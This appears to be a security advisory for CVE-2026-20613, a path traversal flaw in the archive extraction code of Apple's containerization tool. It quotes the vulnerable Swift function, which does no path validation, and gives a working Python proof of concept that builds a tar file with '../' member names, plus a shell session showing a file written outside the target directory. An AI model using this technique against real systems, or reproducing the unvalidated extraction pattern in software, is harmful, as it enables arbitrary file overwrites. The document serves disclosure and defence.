CVE-2026-20613

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")

% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned